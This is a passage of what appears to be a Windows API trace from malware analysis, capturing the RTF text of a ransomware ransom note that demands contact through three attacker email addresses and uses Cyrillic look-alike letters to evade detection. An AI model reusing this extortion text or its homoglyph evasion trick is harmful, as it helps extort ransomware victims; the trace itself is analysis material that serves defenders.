ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 